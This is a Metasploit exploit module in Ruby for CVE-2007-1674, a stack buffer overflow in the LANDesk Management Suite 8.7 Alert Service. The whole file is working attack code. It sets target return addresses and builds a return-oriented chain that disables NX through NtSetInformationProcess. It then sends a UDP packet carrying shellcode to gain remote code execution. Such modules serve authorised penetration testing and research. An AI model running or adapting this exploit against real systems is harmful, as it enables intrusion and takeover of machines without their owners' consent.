133 lines
3.6 KiB
Ruby
133 lines
3.6 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'LANDesk Management Suite 8.7 Alert Service Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in LANDesk Management Suite 8.7. By sending
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an overly long string to the Alert Service, a buffer is overwritten and arbitrary
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code can be executed.
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},
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'Author' => 'MC',
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'References' =>
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[
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['CVE', '2007-1674'],
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['OSVDB', '34964'],
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['URL', 'http://www.tippingpoint.com/security/advisories/TSRT-07-04.html'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 336,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Aolnsrvr 4.0
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[ 'Alerting Proxy 2000/2003/XP', { 'Ret' => 0x00423554 } ],
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[ 'Alerting Proxy 2003 SP1-2 (NX support)', { 'IB' => 0x00400000, 'ProcessInfo' => 0xed } ],
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[ 'Alerting Proxy XP SP2 (NX support)', { 'IB' => 0x00400000, 'ProcessInfo' => 0xe4 } ],
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],
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'Privileged' => true,
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Apr 13 2007'))
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register_options([Opt::RPORT(65535)], self.class)
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end
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def exploit
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connect_udp
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if (target.name =~ /NX/)
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txt = Rex::Text.rand_text_alphanumeric(1024)
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ib = target['IB']
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# to bypass NX we need to emulate the call to ZwSetInformationProcess
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# with generic value (to work on 2k3 SP1-SP2 - XP SP2)
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# first we set esi to 0xed by getting the value on the stack
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#
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# 0x00401b46:
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# pop esi <- esi = edh
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# retn
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txt[ 280, 4 ] = [ib + 0x1b46].pack('V')
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txt[ 296, 4] = [0xed].pack('V')
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# now we set ecx to 0x7ffe0300, eax to 0xed
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# 0x00401b43:
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# pop ecx <- ecx = 0x7ffe0300 - 0xFF0
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# mov eax, esi <- eax == edh
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# pop esi <- 0x45b4ea (data section)
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# retn
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txt[ 300, 4] = [ib + 0x1b43].pack('V')
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txt[ 304, 4] = [0x7ffe0300 - 0xff0].pack('V')
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txt[ 308, 4] = [ib + 0x5b4ea].pack('V')
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# we set edx to 0x7FFe300 (ecx + 0xff0)
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# 0x004106b1:
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# lea edx, [ecx+0ff0h]
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# mov [esi+4], edx
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# mov [esi+8], edi
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# pop edi
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# mov [esi+0Ch], eax
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# pop esi
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# retn
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txt[ 312, 4] = [ib + 0x106b1].pack('V')
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# finally we call NtSetInformationProcess (-1, target['ProcessInfo'], ib+0x4ec84, 4)
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# 0x0044ec84 is a pointer to 0x2 to disable NX
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# 0x0042a28e:
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# call dword ptr [edx]
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# mov esi, eax
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# mov eax, esi
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# pop edi
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# pop esi
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# pop ebp
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# pop ebx
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# add esp, 134h
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# retn 1Ch
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txt[ 324, 4] = [ib + 0x2a28e].pack('V') # call dword ptr[ecx]
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txt[ 332, 16] = [-1, 34, 0x0044ec84, 4].pack('VVVV')
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# we catch the second exception to go back to our shellcode, now that
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# NX is disabled
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txt[ 652, 4 ] = [ib + 0x23554].pack('V') # (jmp esp in atl.dll)
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txt[ 684, payload.encoded.length ] = payload.encoded
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else
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# One-shot overwrite =(
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txt = rand_text_alphanumeric(280) + [target.ret].pack('V') + payload.encoded
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end
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print_status("Trying target #{target.name}...")
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udp_sock.put(txt)
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handler(udp_sock)
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disconnect_udp
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end
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end
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